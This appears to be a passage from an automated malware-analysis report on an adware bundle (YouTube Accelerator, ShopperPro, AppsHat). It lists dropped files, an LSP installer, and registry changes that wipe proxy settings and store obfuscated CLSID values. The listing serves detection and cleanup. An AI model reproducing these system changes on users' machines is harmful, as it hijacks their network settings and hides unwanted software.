C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\Uninstall.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe (204 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\config[1].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\tray.ico (1 bytes)

The process spbiu.exe:2792 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)

The process spbiu.exe:476 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
C:\Windows\Temp\SPBI_cache_iexplore.exe.cache (1024 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (327 bytes)

The process GLB32D2.tmp:3296 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7581 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14310 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLG3B30.tmp (91110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (24 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (5381 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJ3321.tmp (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelper.exe (44331 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (4742 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLC3311.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLK3525.tmp (1604 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLM3729.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLF3B31.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (9304 bytes)

The process taskeng.exe:3476 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\App Lid\f72568d9-a3ec-45be-93e0-9f4ce730882b.exe (32 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.38.0.1444\jsdrv.exe (291 bytes)

The process ytaiesmt_smtyc_setup.exe:1808 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse13C0.tmp\DCytaiesmt_smtyc_setup.exe (376835 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse13C0.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse13C0.tmp\D1989.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse13BF.tmp (35905 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse13C0.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse13C0.tmp\D8E84599C8EBE4D5 (34561 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse13C0.tmp (4 bytes)

The process %original file name%.exe:3836 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso22FB.tmp (6482 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (105 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8793 bytes)

The process jsdrv.exe:3492 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)

Registry activity

The process YTAHelper.exe:1628 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process YouTubeAcceleratorService.exe:3040 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "04 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "5B 3E 93 0F EF 81 A6 A0 7B 07 B5 B9 3A B1 48 A1"

The process YouTubeAcceleratorService.exe:1192 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYWa|neorl}}OjKcv"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKU\.DEFAULT\Software\GOOBZO\YouTube Accelerator]
"LastUpdateTime" = "1418834633"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "5B 3E 93 0F EF 81 A6 A0 7B 07 B5 B9 3A B1 48 A1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1418834646"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAIDV" = "0"
"SBPIDV" = "0"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "09 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspVersion" = "1.0.0.1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"
"WpadNetworkName" = "Network 3"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "21 E4 73 A2 18 1A D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"VA_Aff" = "NONE"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"
"TraceLevel" = "3"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LSPTestSucceeded" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "ShJXBQjluXsSaDrxyq`gBISIl@NTl"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"XMLUpdateFailed" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "21 E4 73 A2 18 1A D0 01"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}Q~id|CHfwppbm[b|tiGOXLYqPd}yu"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_rX[@|iprP`LRKtAeZ~Eu"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAID" = "ecf02c05-2477-44b0-82b0-38a8feb8f4b0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "jodEXeUMHZGUmhBjdg]FB"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAPW" = "5823NWIH"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"resver" = "1.0.0.8"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "[YdvjP@L}rIQuf\PamKGys@ZEtcmE"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"UpdateReason" = "0"
"XMLVersion" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPPW" = "g4NYbwGq"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "[uGkRilkp^bL"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPID" = "4de1d895-16f4-46c5-b766-79c34a33683b"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"Uojvoqeov"
"qvorsEtjxw"
"qvbbRNdMg"
"cgcdxuSksc"
"LdsE"
"fSXewhkfv"
"yxQHXfdfitoe"
"pxylOXnGwpXkz"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"jugyvwoEcjGw"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"rffapxdttSchh"
"yEsrDTepOCs"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"hFLwn"
"DxOl"
"FdUXjkIpvn"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"qPacydvhduuR"
"MNEMOyZJWG"
"omdjT"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"uqmpybcjdI"
"pseKcc"

The process YouTubeAcceleratorService.exe:2608 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "07 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "5B 3E 93 0F EF 81 A6 A0 7B 07 B5 B9 3A B1 48 A1"

The process YouTubeAcceleratorService.exe:3732 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\TypeLib]
"(Default)" = "{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "5B 3E 93 0F EF 81 A6 A0 7B 07 B5 B9 3A B1 48 A1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LocalServer32]
"(Default)" = "%ProgramFiles(x86)%\Internet Explorer\ielowutil.exe -CLSID:{0002DF01-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\ProgID]
"(Default)" = "InternetExplorer.Application.1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "01 00 00 00"
"{K7C0DB872A3F777C0}" = "97 E9 51 C9 C5 16 1F FF FF FF FF 64 22 18 AF D9"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"(Default)" = "Internet Explorer(Ver 1.0)"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\VersionIndependentProgID]
"(Default)" = "InternetExplorer.Application"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"0"

The process ins_postInst.exe:3644 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "80 DE 72 97 18 1A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 44 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "B9 5C 52 99 18 1A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "B9 5C 52 99 18 1A D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process YouTubeAccelerator.exe:1540 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "5B 3E 93 0F EF 81 A6 A0 7B 07 B5 B9 3A B1 48 A1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1418834646"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

